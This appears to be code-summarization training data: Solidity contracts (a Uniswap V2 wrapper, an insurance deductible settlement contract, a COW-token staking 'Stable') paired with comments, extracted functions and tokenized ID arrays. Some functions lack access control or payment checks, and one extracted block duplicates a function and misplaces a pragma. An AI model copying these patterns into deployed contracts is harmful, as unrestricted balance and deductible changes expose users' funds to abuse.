(uint256) { if (_token == address(0)) return _number; return _number.mul(1e18).div(10**uint256(Token(_token).decimals())); } function fromWei(uint256 _number, address _token) internal view returns (uint256) { if (_token == address(0)) return _number; return _number.mul(10**uint256(Token(_token).decimals())).div(1e18); } }
tradeHash: globalHash, amountSellTaker, takerAddress, tradeNonceTaker, feePayableTokedoTaker
bytes32 tradeHash = keccak256(abi.encodePacked(orderHash[0], _values[0], _addresses[2], _values[1], _values[4]));
1,752,469
[ 1, 20077, 2310, 30, 4766, 282, 2552, 2310, 16, 3844, 55, 1165, 56, 6388, 16, 268, 6388, 1887, 16, 18542, 13611, 56, 6388, 16, 14036, 9148, 429, 56, 14276, 83, 56, 6388, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 1731, 1578, 18542, 2310, 273, 417, 24410, 581, 5034, 12, 21457, 18, 3015, 4420, 329, 12, 1019, 2310, 63, 20, 6487, 389, 2372, 63, 20, 6487, 389, 13277, 63, 22, 6487, 389, 2372, 63, 21, 6487, 389, 2372, 63, 24, 5717, 1769, 7010, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity =0.8.10; import "../../utils/TokenUtils.sol"; import "../../interfaces/exchange/IExchangeV3.sol"; import "../../interfaces/exchange/IUniswapRouter.sol"; import "../../DS/DSMath.sol"; import "../../auth/AdminAuth.sol"; import "./helpers/WrapperHelper.sol"; /// @title DFS exchange wrapper for UniswapV2 contract UniswapWrapperV3 is DSMath, IExchangeV3, AdminAuth, WrapperHelper { using TokenUtils for address; IUniswapRouter public constant router = IUniswapRouter(UNI_V2_ROUTER); using SafeERC20 for IERC20; /// @notice Sells a _srcAmount of tokens at UniswapV2 /// @param _srcAddr From token /// @param _srcAmount From amount /// @return uint Destination amount function sell(address _srcAddr, address, uint _srcAmount, bytes memory _additionalData) external override returns (uint) { uint[] memory amounts; address[] memory path = abi.decode(_additionalData, (address[])); IERC20(_srcAddr).safeApprove(address(router), _srcAmount); amounts = router.swapExactTokensForTokens(_srcAmount, 1, path, msg.sender, block.timestamp + 1); return amounts[amounts.length - 1]; } /// @notice Buys a _destAmount of tokens at UniswapV2 /// @param _srcAddr From token /// @param _destAmount To amount /// @return uint srcAmount function buy(address _srcAddr, address, uint _destAmount, bytes memory _additionalData) external override returns(uint) { uint[] memory amounts; address[] memory path = abi.decode(_additionalData, (address[])); uint srcAmount = _srcAddr.getBalance(address(this)); IERC20(_srcAddr).safeApprove(address(router), srcAmount); amounts = router.swapTokensForExactTokens(_destAmount, type(uint).max, path, msg.sender, block.timestamp + 1); // Send the leftover from the source token back sendLeftOver(_srcAddr); return amounts[0]; } /// @notice Return a rate for which we can sell an amount of tokens /// @param _srcAddr From token /// @param _destAddr To token /// @param _srcAmount From amount /// @return uint Rate function getSellRate(address _srcAddr, address _destAddr, uint _srcAmount, bytes memory _additionalData) public override view returns (uint) { address[] memory path = abi.decode(_additionalData, (address[])); uint[] memory amounts = router.getAmountsOut(_srcAmount, path); return wdiv(amounts[amounts.length - 1], _srcAmount); } /// @notice Return a rate for which we can buy an amount of tokens /// @param _srcAddr From token /// @param _destAddr To token /// @param _destAmount To amount /// @return uint Rate function getBuyRate(address _srcAddr, address _destAddr, uint _destAmount, bytes memory _additionalData) public override view returns (uint) { address[] memory path = abi.decode(_additionalData, (address[])); uint[] memory amounts = router.getAmountsIn(_destAmount, path); return wdiv(_destAmount, amounts[0]); } /// @notice Send any leftover tokens, we use to clear out srcTokens after buy /// @param _srcAddr Source token address function sendLeftOver(address _srcAddr) internal { payable(msg.sender).transfer(address(this).balance); if (_srcAddr != ETH_ADDRESS) { IERC20(_srcAddr).safeTransfer(msg.sender, IERC20(_srcAddr).balanceOf(address(this))); } } // solhint-disable-next-line no-empty-blocks receive() external payable {} }
@title DFS exchange wrapper for UniswapV2
contract UniswapWrapperV3 is DSMath, IExchangeV3, AdminAuth, WrapperHelper { using TokenUtils for address; IUniswapRouter public constant router = IUniswapRouter(UNI_V2_ROUTER); using SafeERC20 for IERC20; pragma solidity =0.8.10; function sell(address _srcAddr, address, uint _srcAmount, bytes memory _additionalData) external override returns (uint) { uint[] memory amounts; address[] memory path = abi.decode(_additionalData, (address[])); IERC20(_srcAddr).safeApprove(address(router), _srcAmount); amounts = router.swapExactTokensForTokens(_srcAmount, 1, path, msg.sender, block.timestamp + 1); return amounts[amounts.length - 1]; } function buy(address _srcAddr, address, uint _destAmount, bytes memory _additionalData) external override returns(uint) { uint[] memory amounts; address[] memory path = abi.decode(_additionalData, (address[])); uint srcAmount = _srcAddr.getBalance(address(this)); IERC20(_srcAddr).safeApprove(address(router), srcAmount); amounts = router.swapTokensForExactTokens(_destAmount, type(uint).max, path, msg.sender, block.timestamp + 1); sendLeftOver(_srcAddr); return amounts[0]; } function getSellRate(address _srcAddr, address _destAddr, uint _srcAmount, bytes memory _additionalData) public override view returns (uint) { address[] memory path = abi.decode(_additionalData, (address[])); uint[] memory amounts = router.getAmountsOut(_srcAmount, path); return wdiv(amounts[amounts.length - 1], _srcAmount); } function getBuyRate(address _srcAddr, address _destAddr, uint _destAmount, bytes memory _additionalData) public override view returns (uint) { address[] memory path = abi.decode(_additionalData, (address[])); uint[] memory amounts = router.getAmountsIn(_destAmount, path); return wdiv(_destAmount, amounts[0]); } function sendLeftOver(address _srcAddr) internal { payable(msg.sender).transfer(address(this).balance); if (_srcAddr != ETH_ADDRESS) { IERC20(_srcAddr).safeTransfer(msg.sender, IERC20(_srcAddr).balanceOf(address(this))); } } function sendLeftOver(address _srcAddr) internal { payable(msg.sender).transfer(address(this).balance); if (_srcAddr != ETH_ADDRESS) { IERC20(_srcAddr).safeTransfer(msg.sender, IERC20(_srcAddr).balanceOf(address(this))); } } receive() external payable {} }
1,836,074
[ 1, 31999, 7829, 4053, 364, 1351, 291, 91, 438, 58, 22, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 1351, 291, 91, 438, 3611, 58, 23, 353, 463, 7303, 421, 16, 467, 11688, 58, 23, 16, 7807, 1730, 16, 18735, 2276, 288, 203, 203, 565, 1450, 3155, 1989, 364, 1758, 31, 203, 203, 565, 467, 984, 291, 91, 438, 8259, 1071, 5381, 4633, 273, 467, 984, 291, 91, 438, 8259, 12, 10377, 67, 58, 22, 67, 1457, 1693, 654, 1769, 203, 203, 565, 1450, 14060, 654, 39, 3462, 364, 467, 654, 39, 3462, 31, 203, 203, 683, 9454, 18035, 560, 273, 20, 18, 28, 18, 2163, 31, 203, 565, 445, 357, 80, 12, 2867, 389, 4816, 3178, 16, 1758, 16, 2254, 389, 4816, 6275, 16, 1731, 3778, 389, 13996, 751, 13, 3903, 3849, 1135, 261, 11890, 13, 288, 203, 3639, 2254, 8526, 3778, 30980, 31, 203, 3639, 1758, 8526, 3778, 589, 273, 24126, 18, 3922, 24899, 13996, 751, 16, 261, 2867, 63, 5717, 1769, 203, 203, 3639, 467, 654, 39, 3462, 24899, 4816, 3178, 2934, 4626, 12053, 537, 12, 2867, 12, 10717, 3631, 389, 4816, 6275, 1769, 203, 203, 3639, 30980, 273, 4633, 18, 22270, 14332, 5157, 1290, 5157, 24899, 4816, 6275, 16, 404, 16, 589, 16, 1234, 18, 15330, 16, 1203, 18, 5508, 397, 404, 1769, 203, 203, 3639, 327, 30980, 63, 8949, 87, 18, 2469, 300, 404, 15533, 203, 565, 289, 203, 203, 565, 445, 30143, 12, 2867, 389, 4816, 3178, 16, 1758, 16, 2254, 389, 10488, 6275, 16, 1731, 3778, 389, 13996, 751, 13, 3903, 3849, 1135, 12, 11890, 13, 288, 203, 3639, 2254, 8526, 3778, 30980, 31, 203, 2 ]
pragma solidity ^0.4.10; contract Settlement { address client; address administrator; address insurer; uint clientDeductible; uint clientBalance; uint clientPayToDate; uint clientData; uint insurerData; uint insurerBalance; event PaymentStarted(address _id); event PaymentFinished(address _from, uint _client, uint _insurer); event PaymentFailed(address _id); event ClientBalanceInsufficient(address _id); event InsurerBalanceInsufficient(address _id); event ClientBalanceDeposit(address _id); event ClientDeductibleUpdated(address _id); event ClientPaymentTriggered(address _id); event ClientDeductibleMet(address _id); event InsurerBalanceDeposit(address _id); event InsurerPaymentTriggered(address _id); function Settlement() public { clientBalance = 0; insurerBalance = 0; clientDeductible = 500; clientPayToDate = 0; } function getClientData() public constant returns (uint balance) { return clientData; } function getInsurerData() public constant returns (uint balance) { return insurerData; } function getClientBalance() public constant returns (uint balance) { return clientBalance; } function getInsurerBalance() public constant returns (uint balance) { return insurerBalance; } function getClientDeductible() public constant returns (uint balance) { return clientDeductible; } function getClientPayToDate() public constant returns (uint balance) { return clientPayToDate; } function addClientFunds(uint amount) public returns (uint balance) { clientBalance += amount; // check to see if deductible has been met if (clientPayToDate >= clientDeductible) { ClientDeductibleMet(msg.sender); } ClientBalanceDeposit(msg.sender); return clientBalance; } function addInsurerFunds(uint amount) public returns (uint balance) { insurerBalance += amount; InsurerBalanceDeposit(msg.sender); return amount; } function updateClientDeductible(uint amount) public returns (uint newDeductible) { ClientDeductibleUpdated(msg.sender); clientDeductible = amount; return amount; } function triggerPaymentEvent(uint amount) public returns (bool success) { PaymentStarted(msg.sender); // handle the case where the client deductible has been met if (clientPayToDate >= clientDeductible) { clientData = 0; insurerData = amount; PaymentFinished(msg.sender, 0, amount); return issuePaymentFromInsurer(amount); } // handle the case where the client hasn't met deductible and has insufficient balance if (amount > clientBalance && clientBalance < clientDeductible) { ClientBalanceInsufficient(msg.sender); clientData = 0; insurerData = 0; PaymentFinished(msg.sender,0, 0); return false; } // handle the case for split payment if (amount > (clientDeductible - clientPayToDate)) { var clientAmountToPay = clientDeductible - clientPayToDate; clientBalance = clientBalance - clientAmountToPay; clientPayToDate += clientAmountToPay; var insurerAmountToPay = amount - clientAmountToPay; clientData = clientAmountToPay; insurerData = insurerAmountToPay; PaymentFinished(msg.sender,clientAmountToPay, insurerAmountToPay); return issuePaymentFromInsurer(insurerAmountToPay); } // handle the case where the client has enough balance and hasn't met deductible if (amount <= clientBalance && clientBalance < clientDeductible) { ClientPaymentTriggered(msg.sender); clientBalance = clientBalance - amount; clientPayToDate += amount; clientData = amount; insurerData = 0; PaymentFinished(msg.sender,amount, 0); return true; } } function issuePaymentFromInsurer(uint amount) public returns (bool success) { // check if insurer balance is sufficient if (amount>insurerBalance) { InsurerBalanceInsufficient(msg.sender); PaymentFailed(msg.sender); return false; } insurerBalance -= amount; return true; } }
check to see if deductible has been met
function addClientFunds(uint amount) public returns (uint balance) { clientBalance += amount; if (clientPayToDate >= clientDeductible) { ClientDeductibleMet(msg.sender); } ClientBalanceDeposit(msg.sender); return clientBalance; }
988,861
[ 1, 1893, 358, 2621, 309, 11140, 853, 1523, 711, 2118, 5100, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 527, 1227, 42, 19156, 12, 11890, 3844, 13, 1071, 1135, 261, 11890, 11013, 13, 288, 203, 3639, 1004, 13937, 1011, 3844, 31, 203, 203, 3639, 309, 261, 2625, 9148, 31264, 1545, 1004, 20563, 853, 1523, 13, 288, 203, 5411, 2445, 20563, 853, 1523, 12244, 12, 3576, 18, 15330, 1769, 203, 3639, 289, 203, 203, 3639, 2445, 13937, 758, 1724, 12, 3576, 18, 15330, 1769, 203, 3639, 327, 1004, 13937, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.7.0; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IPowerUser { function usePower(uint256 power) external returns (uint256); event PowerUsed(address indexed master, uint256 power, string purpose); } /** * @dev Fractal illusion of the ideal stable for the best of cows. * * Calmness, deep relaxation, concentration and absolute harmony. Cows just love this place. * There are rumours, that the place where the stable was built is in fact a source of the power. * I personally believe that this stable would be perfect for cows to give a lot of amazing milk! * * Even mathematics works here differently - cows are not counted like in habitual * world (like: 1 cow, 2 cows, 3 cows...), but instead they are somehow measured in strange * unusual large numbers called here "units". Maybe this is just another strange but a sweet dream?.. */ contract Stable is Ownable { using SafeMath for uint256; // Stakeshot contains snapshot aggregated staking history. struct Stakeshot { uint256 _block; // number of block stakeshooted uint256 _cows; // amount of cows in the stable just after the "shoot" moment [units] uint256 _power; // amount of currently accumulated power available in this block } // Precalculate TOTAL_UNITS used for conversion between tokens and units. uint256 private constant MAX_UINT256 = ~uint256(0); uint256 private constant INITIAL_TOKENS = 21 * 10**6; uint256 private constant INITIAL_SUPPLY = INITIAL_TOKENS * 10**9; uint256 private constant TOTAL_UNITS = MAX_UINT256 - (MAX_UINT256 % INITIAL_SUPPLY); uint256 private constant COWS_TO_POWER_DELIMETER = 10**27; // COW token is hardcoded into the stable. IERC20 private _tokenCOW = IERC20(0xf0be50ED0620E0Ba60CA7FC968eD14762e0A5Dd3); // Amount of cows by masters and total amount of cows in the stable. mapping(address => uint256) private _cows; // [units] uint256 private _totalCows; // [units] // Most actual stakeshots by masters. mapping(address => Stakeshot) private _stakeshots; uint256 private _totalPower; event CowsArrived(address indexed master, uint256 cows); event CowsLeaved(address indexed master, uint256 cows); function driveCowsInto(uint256 cows) external { address master = msg.sender; // Transport provided cows to the stable bool ok = _tokenCOW.transferFrom(master, address(this), cows); require(ok, "Stable: unable to transport cows to the stable"); // Register each arrived cow uint256 unitsPerCow = TOTAL_UNITS.div(_tokenCOW.totalSupply()); uint256 units = cows.mul(unitsPerCow); _cows[master] = _cows[master].add(units); _totalCows = _totalCows.add(units); // Recalculate power collected by the master _updateStakeshot(master); // Emit event to the logs so can be effectively used later emit CowsArrived(master, cows); } function driveCowsOut(address master, uint256 cows) external { // Transport requested cows from the stable bool ok = _tokenCOW.transfer(master, cows); require(ok, "Stable: unable to transport cows from the stable"); // Unregister each leaving cow uint256 unitsPerCow = TOTAL_UNITS.div(_tokenCOW.totalSupply()); uint256 units = cows.mul(unitsPerCow); _cows[master] = _cows[master].sub(units); _totalCows = _totalCows.sub(units); // Recalculate power collected by the master _updateStakeshot(master); // Emit event to the logs so can be effectively used later emit CowsLeaved(master, cows); } function token() public view returns (IERC20) { return _tokenCOW; } function cows(address master) public view returns (uint256) { uint256 unitsPerCow = TOTAL_UNITS.div(_tokenCOW.totalSupply()); return _cows[master].div(unitsPerCow); } function totalCows() public view returns (uint256) { uint256 unitsPerCow = TOTAL_UNITS.div(_tokenCOW.totalSupply()); return _totalCows.div(unitsPerCow); } function power(address master) public view returns (uint256, uint256) { return (_stakeshots[master]._block, _stakeshots[master]._power); } function totalPower() public view returns (uint256) { return _totalPower; } function stakeshot(address master) public view returns (uint256, uint256, uint256) { uint256 unitsPerCow = TOTAL_UNITS.div(_tokenCOW.totalSupply()); Stakeshot storage s = _stakeshots[master]; return (s._block, s._cows.div(unitsPerCow), s._power); } function _updateStakeshot(address master) private { Stakeshot storage s = _stakeshots[master]; uint256 duration = block.number.sub(s._block); if (s._block > 0 && duration > 0) { // Recalculate collected power uint256 productivity = s._cows.div(COWS_TO_POWER_DELIMETER); uint256 powerGained = productivity.mul(duration); s._power = s._power.add(powerGained); _totalPower = _totalPower.add(powerGained); } s._block = block.number; s._cows = _cows[master]; } }
Transport requested cows from the stable Unregister each leaving cow Recalculate power collected by the master Emit event to the logs so can be effectively used later
function driveCowsOut(address master, uint256 cows) external { bool ok = _tokenCOW.transfer(master, cows); require(ok, "Stable: unable to transport cows from the stable"); uint256 unitsPerCow = TOTAL_UNITS.div(_tokenCOW.totalSupply()); uint256 units = cows.mul(unitsPerCow); _cows[master] = _cows[master].sub(units); _totalCows = _totalCows.sub(units); _updateStakeshot(master); emit CowsLeaved(master, cows); }
8,042,046
[ 1, 6568, 3764, 276, 543, 87, 628, 326, 14114, 1351, 4861, 1517, 15086, 276, 543, 868, 11162, 7212, 12230, 635, 326, 4171, 16008, 871, 358, 326, 5963, 1427, 848, 506, 23500, 1399, 5137, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
